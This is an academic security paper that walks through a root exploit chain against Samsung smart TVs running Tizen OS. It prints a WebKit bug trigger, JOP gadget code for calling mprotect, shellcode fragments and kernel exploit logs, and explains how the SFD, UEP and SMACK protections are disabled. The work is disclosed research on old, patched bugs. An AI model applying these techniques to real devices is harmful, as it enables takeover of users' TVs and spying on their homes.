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Abstract

:

The smart TV market is growing at an ever faster pace every year. Smart TVs are equipped with many advanced functions, allow users to search, chat, browse, share, update, and download different content. That is one of the reason why smart TVs became a target for the hacker community. In this article, we decided to test security of Tizen operating system, which is one of the most popular smart TV operating systems. Tizen is used on many different devices including smartphones, notebooks, wearables, infotainment systems, and smart TVs. By now, there are articles which present security mechanisms of Tizen OS, and sometimes with a way to bypass them; however, none of them are applicable to the smart TVs. In the article, we focused on developing an algorithm that will allow us to gain root access to the smart TV. The proposed attack scenario uses CVE-2014-1303 and CVE-2015-1805 bugs to bypass or disable security mechanisms in Tizen OS and finally gain root access.
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1. Introduction


We live in an era where electronics are an essential aspect of our everyday lives [1,2,3]. It is currently difficult to imagine life without it; washing machines, refrigerators, watches, mobile phones, and televisions are increasingly equipped with modules that allow remote connection with other devices and become a part of the internet of Things (IoT) [4,5,6]. More importantly, more and more of these devices have access to our personal data, and that means that securing these devices against unauthorized access from outside is increasingly important [7,8,9,10,11]. A few years ago, most of us mainly cared about the security of our PCs; the security of mobile devices was a new thing, not very popular yet. Nowadays, many people are aware of viruses on these platforms and know that their personal data, banking details, etc., are at risk. However, people are still not informed about the dangers of malware or hackers taking control over their embedded devices [12]. Smart TVs are an excellent example of a device that has internet access and complete operating system, and they are often even equipped with a camera and microphone. Some smart TV devices can even record and analyze private conversations, which are sent to a specialized voice recognition provider to extract commands for operating TV [13]. Currently, PCs and smartphones are much better secured than smart TV devices [14]. Nevertheless, we hope that this situation will change when people finally realize that their devices are more than simply TVs and that somebody might take advantage of that to spy on them [15].



1.1. Area of Research


In this paper, we will focus on describing the aspect of the Tizen OS security model and ways of bypassing it to remove all security mechanisms from a smart TV. We will illustrate the process on Samsung smart TVs because they are one of the largest suppliers of such devices, reaching almost 21% of world market share (https://www.sammobile.com/news/samsung-shows-whos-boss-global-smart-tv-market/, accessed on 15 December 2021) and over 30% of market share in the US (Figure 1).



A few years ago, the manufacturer changed its operating system from Orsay to Tizen OS. In  [17], we discussed the security of the Orsay system; therefore, we are now focusing on Tizen OS since we believe enough time passed since 2012 when it was released  [18] and a majority of users updated their TVs to the newest firmware. In 2019, Tizen OS reached 21% share in the smart TV Global Shipments (Figure 2). The reason why we choose for our investigation the most popular smart TVs operating system—Tizen OS—is that it is common that hackers are most interested in hacking most popular and widespread technologies, as it is the case of phones [19] and computers [20].



This paper presents how the root shell can be executed with all Tizen security mechanisms enabled. Firstly, we attack WebBrowser (name of the actual process) using CVE-2014-1303 (https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not-WP.pdf, accessed on 15 December 2021) which gives us read/write (RW) access to all memory of this process. Next, using one of WebKit gadgets, we change settings of some part of the memory to read/write/execute (RWX). Then, using developed shellcode, it will be possible to disable all kernel protections and gain root access using CVE-2015-1805.




1.2. Preliminary Analysis of Research Gap


In [17], we discussed security issues on different smart TV platforms. One of the conclusions was that, currently, only LG and Samsung offer TVs with a significant number of security mechanisms. However, from those two, only on Tizen OS are there specific layers of security (Simplified Mandatory Access Control Kernel—SMACK; Security Framework [SF] Filter Driver [D]—SFD; Unauthorized Execution Prevention—UEP, etc.) that are not present on other platforms. Of course, some platforms also offer code signing or other countermeasures, but they never provide comprehensive security solutions.



Since the release of first version of Tizen OS in 2012 [18] there was few papers discussing its security [22,23,24,25,26,27]. Tizen is often called “The OS of Everything” [23] as it is used on a whole family of different devices including smartphones, notebooks, wearables (for example smartwatches), infotainment systems (for example in cars), and of course, smart TVs. Such flexibility has its price in huge differences in system variants for different devices. This has a huge impact on security aspect of specific device, and as a result, most of security concerns that were described in previous papers [22,23,24,25,26,27] do not significantly (if at all) affect Tizen OS on smart TVs. For example, in [25] author describes 40 critical issues that Amihai Neiderman was able to find in Tizen OS. We analyzed all of those vulnerabilities and confirmed that they were never present on smart TV. Moreover, most of the applications and libraries in which they were found never existed as a part of the smart TV variant of Tizen OS.



In existing literature, we can find a description of some security mechanisms (like SMACK [22,23,24,26]) that are present in smart TVs, and sometimes, even a ways of bypassing them [23,25]. However, we could not find a paper that would describe algorithms and methods that can be used to completely disable any of the security mechanisms implemented in the smart TV variant of Tizen OS. In this paper, we will analyze the security mechanisms of Tizen OS on smart TVs and describe developed methods that make it possible to disable them. Though we found many security bugs in Tizen OS in smart TVs, we will use publicly known bugs (CVE-2014-1303 and CVE-2015-1805) to illustrate the wide applicability of the developed algorithms.




1.3. Security Concerns


To follow responsible disclosure and Samsung Bug Bounty program rules (https://samsungtvbounty.com, accessed on 15 December 2021), we notified Samsung about all issues and waited for the release of necessary patches. Therefore, to not significantly endanger users’ security, we will describe problems that do not affect modern devices. For illustrative purposes, we used two old bugs (CVE-2014-1303 and CVE-2015-1805) that were present in the 2015 Tizen smart TV-J model; these bugs were publicly known for a long time. Therefore, we believe most users already updated their TVs or even replaced them with newer models. We chose this specific model as it was the first one with Tizen OS [17]. However, the problems we will illustrate and techniques described in this paper can also be adapted and applied to newer devices.





2. Related Works


In recent years, smart TV security became a widely studied issue, not only among scientists [28,29,30], but it also caught the attention of the groups in the hacking community (like OpenLGTV [31] or SamyGO [32]). One part of the activity of such groups is a modification of TV systems to allow all users to take full advantage of their devices. Another is finding security breaches and reporting them to the TV vendors. According to the analysis of the Samsung preloaded applications, such as Amazon Prime Video, Netflix, or YouTube, those applications offer consumers little privacy [33].



The increase in the number of functionalities available in the latest smart TV models causes them to not properly work without access to the internet. An example of such functionality can be controlling the smart TV by voice commands. Data collected from the microphone often are sent to specialized voice recognition providers [13]. Microphones can also be used to eavesdrop on private conversations, as was done in the CIA project, Weeping Angel [34]. Exploit prepared by CIA can use Samsung’s voice assistant as a covert microphone and send the recordings through the WiFi of the TV to CIA servers. In the case of HbbTV (Hybrid Broadcast Broadband TV), which is one of smart TVs’ standards, data are automatically transferred to the broadcasting stations to deliver additional interactive content. Recent research shows that there is a high risk of sending private data to third parties without consumers’ explicit consent [35]. Data exchanged between HbbTV and broadcasting stations can be used to monitor home network traffic and interfere with which TV programs the users are watching [12].



Another way of hacking smart TVs is using Digital Video Broadcasting-Terrestrial (DVB-T) streams. The attack based on transmitting in a DVB-T stream a broadcasted application, which can be used later to exploit a local vulnerability on a television, was presented in [36]. The compounds of a DVB-T stream, as well as the mechanism of interactive multimedia applications and security issues, were discussed in [37]. Different attacking scenarios that use two public area networks: the ADSL (Asymmetric Digital Subscriber Line) network and the DVB network, were described in [38]. The authors presented that it is possible to replace original video streams with another one prepared by the attacker. Even the movie player feature can be a target of hackers community [14]. If a corrupted video is played back on smart TV, the attackers can get complete control over the attacked TV.



Another popular attack scenario is through firmware’s [39]. Exploiting some of the firmware’s vulnerabilities may lead to obtaining a live Secure Shell (SSH) connection with smart TV [38]. In some cases, it was also possible to achieve online firmware upgrade by impersonating Samsung’s update servers [40].




3. Tizen Security Model


Though the security system used on Tizen platform is pretty complex, it can be quite accurately represented using simple model (Figure 3), as it is pretty similar to what is being used on other platforms, such as iOS [41], Android [42], PS4 [43], or Vita [44]. In the beginning, read-only BootRom validates Bootloader, and if all checks are passed correctly, execution is moved to it. One of Bootloader’s main tasks is the validation of kernel, and here, the same scenario applies. Once the kernel boots, it validates the checksums of partitions to ensure system integrity. However, the system requires some place for storing user applications and data. Therefore, it is necessary to have some writable partitions so their checksums are not validated. To ensure the integrity of the trust chain [45], all libraries and binaries loaded from those partitions are passed through Unauthorized Execution Prevention (UEP), which is part of the Security Framework Filter Driver (SFD), and their checksums are validated. As a result, it looks that there is no entry point. However, if we look closely, we can notice that users can install some web-based applications, and this trust chain (as many others) suffers from one flaw. All signatures are checked before loading data and execution of code, meaning that if we cause an error in an application that is already running, we can move execution to any code we want, and no signature checks will be applied.



Besides using chain of trust [45] Tizen OS on smart TVs offers many different security mechanisms, the most important are:




	
Data Execution Prevention (DEP) [46] is a security mechanism that disallows direct execution of data. In the 90s and early 2000s, data were often marked as read, write, and execute—RWX (https://kc.mcafee.com/corporate/index?page=content&id=KB58554, accessed on 15 December 2021) which made exploitation of such systems very easy. Nowadays on Linux systems, memory for data is mapped as PROT_READ | PROT_WRITE—(RW) (https://man7.org/linux/man-pages/man2/mmap.2.html, accessed on 15 December 2021) and does not have PROT_EXEC—(X) permissions. The same principle is implemented on Tizen OS, making it necessary to bypass DEP for successful exploitation.



	
Security Framework (SF) Filter Driver (D) is a security layer used on Samsung smart TV with Tizen OS, which besides blocking certain file system access (verified by UEP), also filters network activity. It can filter both inbound and outbound traffic using both TCP and UDP protocols (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfFirewallRulesList.c, accessed on 15 December 2021). Network requests can be blocked based on IP, network mask, port, and subnetwork (remote or local). Everything is handled by list of rules (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfRulesList.c, accessed on 15 December 2021) which to speed up whole process are cached (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfdCache.c, accessed on 15 December 2021).



	
Unauthorized Execution Prevention (UEP) has one task: checking whether in partitions, with read/write access executed files, libraries or kernel modules have a valid signature [47]. Every unsigned binary is not allowed to be executed. Every unsigned library cannot be loaded (even by processes owned by root), and unsigned kernel modules cannot be loaded (even by root).



	
SMACK is a kernel-based implementation of Mandatory Access Control used in the Tizen operating system and recently was added into Linux kernel [48]. SMACK primary function is to protect data and limit process interaction. SMACK is based on three components: subject, object, and access type. Those components make up a set of rules, which are used to determine whether a given task has enough privileges or not to access the resource which it is trying to [26]. On Tizen OS, SMACK is used to block specific accesses (on smart TV, it is over 15,000 rules) to the filesystem, network, processes, etc.









4. Smart TV Applications


Smart TV is a term that defines a television set with integrated internet support. One of the features of this platform is support for some form of Application Store, sometimes called Marketplace, from which users can download games and programs. Usually, there are two kinds of applications in this Marketplace: web and native. However, the word “web” should not be interpreted classically. Here, it simply means that the application is written using SDK (Software Development Kit) that offers mostly “Web 2.0” technologies like HTML (HyperText Markup Language), JavaScript, CSS (Cascading Style Sheets) and some TV specific APIs (Application Programming Interface). A specialized HTML and JavaScript engine processes such applications. On the other hand, native applications are written using a form of NDK (Native Development Kit) and have a form of binary files that are executed directly by the device CPU (Central Processing Unit). In the case of most vendors, access to SDK is free, whereas access to NDK is paid and restricted. As a result, usually, only big companies can afford it or are allowed to use it. The smart TV platform is heavily dependent on web technologies. Moreover, one of the applications provided by the vendor itself is a WebKit based web browser. As a result, this becomes the primary target for potential attacks.




5. Example of Attack Scenario


Proposed attacks on Tizen OS security can be split into two kinds: user-level exploitation (Section 5.1) and attacks on Kernel (Section 5.2). On the user-level, the hardest issue to resolve is achieving code execution. It is not only a matter of finding an exploitable vulnerability, but also defeating memory protection mechanisms (Section 5.1.1) like DEP [46]. On the Kernel-level, we have DEP- as well as Tizen OS-specific security features, such as SMACK, UEP, and SFD.



5.1. Attacking WebBrowser


To bypass browser security, we decided to use CVE-2014-1303. This vulnerability is caused by the lack of validation of cssSelectors set from the JavaScript code. Bug can be triggered by running only a few lines of JavaScript code (Listing 1).





Listing 1. Sample code that triggers CVE-2014-1303 on WebKit based browsers.






	
<html> <style>html,em:nth-child(5){



	
    height: 500px }



	
</style> <script> function load() {



	
var cssRules = window.getMatchedCSSRules(document.documentElement);



	
cssRules[0].selectorText = ’a’; }



	
</script> <iframe onload=load()> </html>










After successful exploitation, we use this bug to overwrite one bit in the ArrayBuffer length field, which gives us out of bounds read/write access (https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not-WP.pdf, accessed on 15 December 2021). We use a similar approach as in Vitasploit (https://github.com/Sorvigolova/vitasploit, accessed on 15 December 2021). We allocate many ArrayBuffers with a size of 0x20040 and search for a one with a length field changed to 0x200c0 by exploitation of CVE-2014-1303. Thanks to that, we have limited out of bounds read/write access (0x20040—0x200c0) so we spray a new set of ArrayBuffers, hoping that one of them will be allocated in our area of interest. Once we find one, we save m_data (Listing 2) value to u32_base variable, modify it to 0 and m_sizeInBytes (Listing 2) to 0xFFFFFFE0. After doing so, we get AAR/AAW (Arbitrary Address Read/Arbitrary Address Write) [49].





Listing 2. Internal structure of ArrayBuffer object.






	
class ArrayBuffer : public RefCounted<ArrayBuffer> {



	
   unsigned m_refCount; //+0



	
   void* m_data; //+4



	
   unsigned m_sizeInBytes; // +8



	
   ArrayBufferView* m_firstView; // +0xC



	
}










5.1.1. Bypassing DEP


At this point, we achieved full access to WebBrowser process memory. Unfortunately, we cannot execute our code directly as our data are allocated only in the memory with PROT_READ | PROT_WRITE (RW) flags, and we lack PROT_EXEC (X) permission; this is caused by the presence of DEP [46]. We decided to bypass it by the application of a variant of ROP (Return-Oriented Programming) [50,51] called JOP (Jump-Oriented Programming) [51,52]. Similarly to ROP, it also uses existing code fragments in process executable memory to achieve code execution. Nevertheless, JOP does not utilize a stack but instead uses a series of jump (in the case of ARM branch) instructions.



Once we are able to execute pieces of existing process code to achieve our goals, we have to change memory properties from RW to RWX. We can put our code in memory, but it does not have PROT_EXEC—(X) flag, so as a result, we would not be able to run it. Therefore we decided to use function mprotect to change memory settings. However, firstly, we have to find a way to call it. Similar to Webkitties project (http://acez.re/ps-vita-level-1-webkitties-3/, accessed on 15 December 2021) we looked for the function, which would allow us to use it to change memory protections. As a result, we need an object which fulfills three criteria: it should have virtual methods, the function should have parameters of basic types, and the object should be easy to locate in memory. One of the appropriate objects was textarea with function setScrollLeft. At this point, we spray many textarea objects; once we locate one, we modify its vtable to achieve code execution. Still, there remains the issue of not having anything to execute. Moreover, even if we set the address of setScrollLeft to mprotect (Listing 3), we will not be able to use it as we need to set three parameters, whereas setScrollLeft allows us to set only one of them.



To solve those issues, we search for code fragment (gadget), which will load from memory location values of R0-R3 registers and execute function passed in R3 register (Listing 4). When we find it, we can change address of setScrollLeft function to this part of code and instead of calling setScrollLeft function localized gadget code will be executed. Now we only need to put appropriate values in the right places in memory and find the address of mprotect function to pass it to R3 register (Listing 5). Because of the characteristic features of this function, it is easy to find. Finally, we can call setScrollLeft function with one argument—address of the memory where the parameters we want to change and protection flags are stored.





Listing 3. Declaration of mprotect function.






	
int mprotect(void *addr, size_t len, int prot);










On ARM platform arguments are passed in registers R0-R3. Therefore, we decided to use a gadget that is part of didReceivePluginControllerProxyMessage function of PluginControllerProxy object. It sets R0–R3 values and executes function pointed by R3 register.





Listing 4. WebKit gadget that loads R0-R3 register values from memory and executes function passed in R3.






	
.text:45ABC368; CODE XREF: WebKit :: PluginControllerProxy :: didReceivePluginControllerProxyMessage(CoreIPC :: Connection *, CoreIPC :: MessageDecoder &)



	
. . .



	
.text:45ABC36E      LDR          R0, [R0,#0x1C]



	
.text:45ABC370      DR            R2, [R1,#4]



	
.text:45ABC372      LDR          R3, [R0]



	
.text:45ABC374      LDR.W       R3, [R3,#0xA4]



	
.text:45ABC378      CBZ          R2, loc_45ABC37E



	
.text:45ABC37A      LDR          R1, [R1]



	
.text:45ABC37C      BX            R3










This allows us to set all three parameters by loading R0–R3 register values in JavaScript code and execute any function (which address we set in R3 register) by using only a few lines of JavaScript code (Listing 5).





Listing 5. Example of gadget utilization to mark part of process memory as RWX.






	
aspace32[fkvtable/4 + setscrollleft_idx] = gadget_addr; //gadget address



	
aspace32[vtable_addr/4 + 0x1C/4] = page_in_buffer_addr; //LDR R0, [R0,#0x1C]



	
aspace32[page_in_buffer_addr/4] = page_in_buffer_addr + 0x30; // LDR R3, [R0]



	
aspace32[page_in_buffer_addr/4 +



	
            + 0x30/4 + 0xA4/4] = mprotect_addr; // R3, [R3,#0xA4]



	
aspace32[page_in_buffer_addr/4 +



	
            + 0x10/4 + 1] = PROT_READ|PROT_WRITE|PROT_EXEC; // LDR R2, [R1,#4]



	
aspace32[page_in_buffer_addr/4 + 0x10/4] = 0x2000; // LDR R1, [R1]



	
eleobj.scrollLeft = page_in_buffer_addr + 0x10;










After that address from page_in_buffer_addr variable has PROT_READ | PROT_WRITE | PROT_EXEC—(RWX) flags set, we can execute our first-stage shellcode (Listing 6). At this point, we successfully bypassed DEP and UEP, as we can execute any instructions as part of our shellcode. However, UEP is still active, and the only way of completely disabling it is to use our shellcode to perform an attack on kernel security.





Listing 6. Source of first stage shellcode.






	
if(find_usb(ctx , (int*)size))



	
{



	
    size=sc_get_file_size_asm(ctx->path);



	
    shellcode=sc_mmap_shellcode_asm(sc_open_readonly_asm(ctx->path), size);



	
    sc_cacheflush_asm(shellcode, size);



	
    shellcode();



	
}












5.2. Kernel Level Exploitation


The first stage shellcode cannot be too big, as there are many restrictions for the browser process that we need to cope with. Also, we cannot simply execute any commands we want as UEP and other security mechanisms are still in place.



5.2.1. The First Stage Shellcode


As a result, we decided to develop a shellcode that simply goes through all USB devices and looks for the one with our second stage shellcode stored in a sc.bin file. After finding it, shellcode receives its size and uses mmap to allocate new RWX page with the contents of sc.bin (Listing 6). Due to the nature of the ARM platform, it was necessary to flush the newly allocated page with sc_cacheflush_asm (Listing 7) function, which is just C wrapper around assembler syscall. In the first stage shellcode, we cannot simply use libc.so functions, so we had to stick to a limited number of APIs. In the end, if all goes well, execution is passed to second stage shellcode from USB stick, whose task will be to disable all kernel protections and gain root access.





Listing 7. Declaration of sc_cacheflush_asm function.






	
static void SC_DECL sc_cacheflush_asm(void * start, unsigned int size)



	
{



	
    asm volatile (



	
        _s("push {r7,lr};")



	
        _s("add r1, r0, r1;")



	
        _t("mov r2, $0x0;")



	
        _t("mov r7, $0xf;")



	
        _t("lsl r7, r7, #16;")



	
        _t("add r7, $0x2;")



	
        _t("svc 1;")



	
        _t("pop {r7,pc};"));



	
}











5.2.2. Second Stage Shellcode


The first thing that our second stage shellcode is doing after being loaded is loading all necessary libraries and resolving symbols. Usually, this job is done by the ld.so, however, our code is not a part of a regular executable, so we have to take care of it ourselves. This is performed in init_ctx function (Listing 8).





Listing 8. Definition of init_ctx function.






	
static void SC_SUB_DECL init_ctx(sc_ctx_t* ctx)



	
{



	
    struct stat st;



	
    int fd;



	
    unsigned int libdl_base;



	
    fd=sc_open(ctx->c_libdl,O_RDONLY);



	
    sc_stat(ctx->c_libdl,&st);



	
    void *ld_mem=sc_mmap(0,st.st_size ,PROT_READ, MAP_PRIVATE, fd, 0);



	
    if(ld_mem);



	
    {



	
        libdl_base=find_libdl_base(ctx);



	
        ctx->dlopen=(void*)((find_sym(ld_mem,ctx->c_dlopen) & 0xFFF) | libdl_base);



	
        ctx->dlsym=(void*)((find_sym(ld_mem,ctx->c_dlsym) & 0xFFF) | libdl_base);



	
        sc_munmap(ld_mem, st.st_size);



	
    }



	
    sc_close(fd);



	
    ctx->m=ctx->dlopen(ctx->c_libc ,MY_RTLD_LAZY);



	
    ctx->fopen=ctx->dlsym(ctx->m, ctx->c_fopen);



	
    ctx->fprintf=ctx->dlsym(ctx->m, ctx->c_fprintf);



	
    ctx->fflush=ctx->dlsym(ctx->m, ctx->c_fflush);



	
}










This function simply loads libdl.so and finds addresses for two important functions: dlopen and dlsym. After that, it uses ASCII function names to find addresses of other APIs needed by shellcode. Armed with all the API we need, we can start the exploitation process. In the beginning, we have to make sure our process (and all its children) is not closed when the browser crashes or exits. Therefore, we prepare a piece of code that deals with that (Listing 9).





Listing 9. Spawning child process and closing all “links” with parent.






	
    ctx->pid=ctx->fork();



	
    if(ctx->pid)



	
        exit_parent(ctx);






	
    // first child



	
    ctx->pid=ctx->setsid();



	
    ctx->signal(SIGHUP,SIG_IGN);






	
    ctx->pid=ctx->fork();



	
    if(ctx->pid)



	
        exit_parent(ctx);






	
    // second child






	
    // Set the current working directory to the root directory.



	
    asm volatile ("ADRL     R9, ROOT_DIR;");



	
    ctx->pid=ctx->chdir(str);






	
    // Set the user file creation mask to zero.



	
    ctx->umask(0);






	
    ctx->pid=ctx->sysconf(_SC_OPEN_MAX);






	
    for(ctx->i=0;ctx->i<ctx->pid;ctx->i++)



	
        sc_close(ctx->i);



	
    asm volatile ("ADRL     R9, DEV_NULL;");



	
    sc_open(str ,O_RDONLY);



	
    sc_open(str ,O_WRONLY);



	
    sc_open(str ,O_RDWR);






	
    asm volatile ("ADRL     R9, CHILD_READY;");



	
    ctx->fprintf(ctx->fp , str , ctx->getpid());



	
    ctx->fflush(ctx->fp);










Its job is to simply fork, send signal, fork second time, change directory to /, set user file creation mask to zero, close all files opened by parent (and inherited by us), and open /dev/null for stdin, stdout, and stderr since applications requires them and we will not be needing them anyways.




5.2.3. Execution of Kernel Exploit


At this point, the setup is completed, and we can pass execution to our main function. Here, we check if we cached offsets for this specific device, and if not, we use kernel exploit to find them (Listing 10). We used CVE-2015-1805 as it can be used for an arbitrary read and write of kernel memory, allowing us to bypass kernel-level DEP. This bug exploits the incorrectly handled side effects of pipe_read (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=637b58c2887e5e57850865839cc75f59184b23d1, accessed on 15 December 2021)/pipe_write (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f0d1bec9d58d4c038d0ac958c9af82be6eb18045, accessed on 15 December 2021) APIs. Both of which are libc.so wrappers around kernel syscalls, which internally invoke pipe_iov_copy_to_user and pipe_iov_copy_from_user respectively. In case of failure those functions are executed once again on the same data in redo routine (https://elixir.bootlin.com/linux/v3.8/source/fs/pipe.c#L533, accessed on 15 December 2021) which results in possible iovec array overrun. Combined with spraying of fake iovec structs with iov_base set to kernel memory address this situation can be abused to achieve unauthorized read/write access to kernel memory [53]. We use this to dump kernel memory in 1KiB chunks and locate all the necessary APIs. Once this step is completed, the exploited log looks something like this:





Listing 10. Fragment of exploit log after localizing all necessary kernel symbols.






	
[+] Changing fd limit from 1024 to 4096



	
[+] Getting pipes: 0



	
[+] Dumping memory



	
[+] Allocating memory



	
    [+] Reading memory at address: 0xc04a0000



	
    [+] Starting map/unmap thread



	
    [+] Starting read thread: 0



	
    [+] Spraying kernel heap



	
    [+] Starting writev thread: 0



	
    [+] Dumped 3 KiB



	
...



	
[+] Parsing kernel dump



	
    [+] Found exports table at: 0xc04a68b4



	
    [+] Processing 5815 entries from exports table...



	
    [+] Found I_BDEV: 0xc00fd6f4



	
    [+] Found __copy_from_user: 0xc01c97d4



	
    [+] Found __copy_to_user: 0xc01c9c00



	
    [+] Found commit_creds: 0xc0058eb4



	
    [+] Found elf_set_personality: 0xc0010a24



	
    [+] Found finish_open: 0xc00ce184



	
    [+] Found init_task: 0xc051b340



	
    [+] Found memset: 0xc01cbcc0



	
    [+] Found prepare_kernel_cred: 0xc0059370



	
    [+] Found strcmp: 0xc01d4090



	
    [+] Found try_module_get: 0xc007b464



	
    [+] Found crypto_alg_sem: 0xc05261ec



	
[+] Successfully parsed kernel










Once we localize all the necessary kernel APIs, we proceed to the next part of the exploit. Firstly, we install __copy_from_user function as a syscall (Listing 11), which allows us to perform arbitrary writes into kernel memory without relying on a race condition from CVE-2015-1805, which makes the exploit much more stable. We need this because using CVE-2015-1805 is very slow, and it is often necessary to run it many times before it works.





Listing 11. Fragment of exploit code execution log.






	
[+] Parsing kernel dump



	
[+] Found syscall table at: 0xc00111c4



	
[+] Successfully parsed kernel



	
[+] Second read worked



	
[+] Allocating memory



	
[+] Installing copy_from_user syscall



	
    [+] Patching address 0xc001169c with value 0xc01c97d4



	
    [+] Startng map/unmap thread



	
    [+] Starting write thread: 0



	
    [+] Spraying kernel heap



	
    [+] Starting readv thread: 0



	
    [+] Overflow value: 0xc01c97d4



	
    [+] Done



	
[+] First write worked











5.2.4. Achieving Root Access


Once we have __copy_from_user function exported as a syscall, we can use it to install additional syscalls (Listing 12) and use combination of prepare_kernel_cred and commit_creds kernel functions to elevate our privileges to root (Listing 12).





Listing 12. Fragment of exploit log file, achiving root access.






	
[+] Installing first func ptr



	
    [+] Patching address 0xc00116a0 with value 0xc0059370



	
[+] Got result: 0x00000000



	
[+] Second write worked



	
[+] Got result: 0xc2867200



	
[+] Installing second func ptr



	
    [+] Patching address 0xc00116a0 with value 0xc0058eb4



	
[+] Third write worked



	
[+] Installing copy_to_user syscall



	
[+] Fourth write worked



	
[+] Got result: 0x00000000



	
[+] Sleeping for 1 seconds to end threads



	
[+] UID: 0










On many systems, that would be the end of our exploitation; however, here, having root privileges does not give us much. On most Linux systems, once root access is acquired, it is possible to do almost anything. However, on the smart TV variant of Tizen OS, even as root, we cannot still launch any unsigned binary or load unsigned library because UEP blocks it. Usually, root users can extend or change kernel functionality by loading kernel modules. Nevertheless, on modern Samsung smart TVs, it is impossible because, again, UEP blocks loading any unsigned kernel modules. We also do not have full network access because of SFD (for example, opening some ports for incoming connections is completely blocked). At the same time, we only have limited filesystem access because of SMACK. Even with root access, Tizen OS security is still pretty tight.




5.2.5. Disabling Tizen OS Security Features


To get full advantage of gained root access, we have to solve the problem of Tizen OS security mechanisms. Some of them we decided only to bypass, but others we wanted to be completely disabled (Figure 4).



	
As DEP is only an issue during the exploitation and does not pose any serious restrictions after obtaining root, we only bypassed it temporarily (Section 5.1.1).



	
SFD restricts filesystem as well as network access (Section 3). Final decision whether specific activity should be blocked or not is made in SfdPerformBlocking (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfdDispatcher.c, accessed on 15 December 2021) function. Therefore, we decided to disable SFD (Figure 4) by patching this function (Listing 13) so it always returns SF_STATUS_OK (0) and as a result forcing SFD to allow all possible actions.



	
UEP blocks all executables, libraries, and kernel modules that do not have a valid signature (Section 3). Since processes are validated on launch, the only way of bypassing is to load additional code using some vulnerability of already running process (Section 5.1). Final decision on whether specific action should be blocked is made in SfdUepPacketHandler (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/uep/SfdUepHookHandlers.c, accessed on 15 December 2021) function. UEP uses s_uepStatus global variable as a kind of flag which indicates whether framework is active or not. Therefore, we decided to completely disable it (Figure 4) by finding UEP location in the kernel memory and changing s_uepStatus flag to 0 (Listing 13).



	
SMACK restricts a lot of filesystem and memory operations (Section 3) based on specific rules (over 15,000 on smart TV). Internally, SMACK uses similar approach as SELinux framework (https://www.kernel.org/doc/html/v4.13/admin-guide/LSM/SELinux.html, accessed on 15 December 2021). When performing different tasks kernel checks security_operations (https://elixir.bootlin.com/linux/v4.1/source/include/linux/security.h#L1460, accessed on 15 December 2021) structure. If the framework is enabled, specific hooks are executed before kernel original functionality to check whether the specific operation is allowed. When SELinux is disabled kernel does the same thing but instead security_operations structure is set to default_security_ops (https://elixir.bootlin.com/linux/v4.1/source/security/security.c#L37, accessed on 15 December 2021) which has all fields filled with stub functions (https://elixir.bootlin.com/linux/v4.1/source/security/capability.c#L949, accessed on 15 December 2021) that always “return 0” and as a result allow all operations. As a result, SMACK is heavily integrated (using the SELinux mechanism) into the kernel itself. There is no simple "flag" that could be changed or a single function that could be patched to disable it. Therefore, we decided to restore kernel original functionality by overwriting SMACKs security operations structure (smack_ops) (https://github.com/mmajchr/SamsungKernelSecurity/blob/74dc1d629822682cce56d3118593da0fb79d916b/smack/smack_lsm.c#L4744, accessed on 15 December 2021) with values from default_security_ops, which as a result allows all actions and disables framework completely (Listing 13).






We start by installing copy_to_user kernel function as another syscall, which allows us an arbitrary kernel memory read. With that at our disposal, we dump other parts of kernel memory and localize necessary locations that need to be patched to disable both UEP and SMACK (Listing 13).





Listing 13. Fragment of exploit log, disabling Tizen OS security mechanisms.






	
[+] Trying to locate SFD



	
    [+] Found do_dentry_open at: 0xc00cdd38



	
    [+] Found try_module_get branch at: 0xc00cde4c



	
    [+] Found sf_security_file_open function at: 0xc01ace80



	
    [+] Found memset branch at: 0xc01acee4



	
    [+] Found SfdPerformBlocking function at: 0xc01aca24



	
    [+] Disabled SFD



	
[+] Trying to locate UEP



	
    [+] Disabling UEP at: 0xc05261e8



	
    [+] UEP Disabled



	
[+] Trying to locate SMACK



	
    [+] Starting SMACK search at: 0xc05251ec



	
    [+] Found SMACK fops at: 0xc0525a7c



	
    [+] Disabling SMACK at: 0xc0525a88



	
    [+] SMACK Disabled



	
[+] Got root!!!!










After that, we can safely execute the root shell with all Tizen security mechanisms disabled.






6. Results


As we discussed earlier in this paper (Section 1.2), after analyzing many articles regarding Tizen OS security [22,23,24,25,26,27], we were not able to find any that would target specifically the smart TV variant of Tizen OS. At the same time, described methods are, in most cases, not even applicable to it. Therefore, to assess the usability of our methods for disabling all major security mechanisms of Tizen OS on smart TV, we had to assume that previously described methods [22,23,24,25,26,27] are applicable to smart TV to compare them with our results objectively. Not all papers [22,24,26,27] present how to remove security mechanisms described in this paper (DEP, SFD, UEP, SMACK) or gain root access, and some discuss only general security issues [22,24,27]. Nevertheless, to avoid confusion, we put them in the table (Table 1) to better illustrate the research gap that we are trying to address in this paper.




7. Legality and Ethics of Conducted Research


An essential part of our research was performing a comprehensive analysis of security mechanisms present in the smart TV variant of Tizen OS and finding a way to disable them completely. As a result, the topic of legality and ethics of our research might be a concern. Firstly, it is important to note that both under US [54] and EU [55] law modification of devices owned by the users is completely legal. Moreover, breaking or bypassing security mechanisms is the only way to test them [56] and check how secure they really are. It is important to remember that “assessing the security state is a continuous and necessary task to understand the risks there exist. This assessment is usually performed through security tests” [57]. It always comes to a simple rule: the chain is as strong as its weakest link [58]. Of course, after finding flaws, it is important to follow the procedure commonly known as “responsible disclosure” [59,60,61]. In short terms, the procedure states that no information regarding a security flaw should be published before respective vendors were informed and fix or patch released. Usually, it is common to wait around 90 days after such release. The flaws we describe in this paper relate to TV series released almost 7 years ago, though we were able to identify similar issues in models released in recent years. Therefore, we describe them only to illustrate the problem and highlight the importance of not relying on security mechanisms as a way of "blocking" security threats. Every day new vulnerabilities are found, and sooner or later, some of them will affect smart TVs. As a result, it is crucial to take into consideration that they can be used to disable any security mechanisms completely. Therefore, people should focus on keeping their devices up to date and vendors on providing patches to security issues regularly and provide longer support. In our research, we used two specific publicly known and 